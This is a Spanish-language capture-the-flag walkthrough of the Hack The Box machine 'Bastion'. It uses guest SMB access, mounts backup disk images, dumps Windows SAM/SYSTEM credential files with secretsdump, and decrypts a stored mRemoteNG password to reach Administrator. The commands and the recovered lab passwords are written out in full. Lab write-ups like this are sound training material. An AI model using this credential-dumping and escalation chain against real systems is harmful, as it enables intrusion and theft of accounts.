Escaneo

nmap -sC -sV -o nmap.txt 10.10.10.134


Nmap identifica los puertos 22 (SSH), 135 (RPC), 139 y 445 (SMB) abiertos.
smb-security-mode indica que podemos obtener acceso con nivel de usuario con una cuenta de invitado.

Enumeración

Como el servicio de SMB estaba abierto, vamos a enumerar recursos compartidos mediante smbclient, este solicitará las credenciales las cuales dejaremos en blanco para acceder como invitado:

smbclient -L 10.10.10.134


De los recursos compartidos enumerados, únicamente podemos explorar Backups e IPC$:

cd /opt/impacket/examples

./smbclient.py taco@10.10.10.134

ls \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\*


Tras navegar entre directorios, aparecen dos ficheros VHD. VHD es un formato de archivo que representa una unidad de disco duro virtual.
Estos discos duros virtuales tienen un tamaño muy grande, por lo tanto, copiarlos a nuestra máquina local no es la mejor opción.
La solución será montar el recurso compartido y sucesivamente los discos para inspeccionar todos sus archivos. Para ello, haremos uso de mount y guestmount (que viene con el paquete libguestfs-tools):

apt install cifs-utils libguestfs-tools -y

mkdir backups vhd

mount -t cifs //10.10.10.134/Backups -o user=taco,password= ~/htb/Bastion/backups

guestmount --add ~/htb/Bastion/backups/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro ~/htb/Bastion/vhd

Explotación

Al navegar por un sistema Windows siempre es interesante intentar conseguir los hashes. Tomando los archivos SAM, SYSTEM y SECURITY ubicados en Windows\System32\config\ es posible volcar los hashes:

cd vhd/Windows/System32/config/

ls -la | grep SAM

cp SAM SYSTEM SECURITY ~/htb/Bastion/

cd /opt/impacket/examples/

./secretsdump.py -sam ~/htb/Bastion/SAM -security ~/htb/Bastion/SECURITY -system ~/htb/Bastion/SYSTEM LOCAL

En este caso, hemos obtenido la contraseña en texto plano (bureaulampje), hay veces que esto no será así y en ese caso sería necesario crackear los hashes mediante Crackstation, Hashcat, John The Ripper…

Vamos a intentar iniciar sesión vía SSH con las credenciales encontradas:

ssh l4mpje@10.10.10.134

bureaulampje

type Desktop\user.txt

Escalación de privilegios

Al enumerar el sistema, se puede observar que mRemoteNG está instalado:

cd "C:\Program Files (x86)"

dir

Este programa tiene una vulnerabilidad que permite extraer las contraseñas que se almacenan en el archivo de conexión. En http://hackersvanguard.com/mremoteng-insecure-password-storage/ hay más información acerca de dicha vulnerabilidad:

type %appdata%\mRemoteNG\confCons.xml

Copiaremos el contenido de "Password" y utilizaremos una herramienta (https://github.com/haseebT/mRemoteNG-Decrypt) que nos permitirá desencriptar la contraseña:

git clone https://github.com/haseebT/mRemoteNG-Decrypt.git

cd mRemoteNG-Decrypt/

python3 mremoteng_decrypt.py -s aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==

Hemos obtenido la contraseña de Administrador (thXLHM96BeKL0ER2), para finalizar solo queda iniciar sesión vía SSH y capturar la flag:

ssh administrator@10.10.10.134

thXLHM96BeKL0ER2

¿Me ayudas a compartirlo?
Última modificación: 8 septiembre 2019

Autor

Comentarios

Comenta o responde a los comentarios

Tu dirección de correo no será publicada.

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.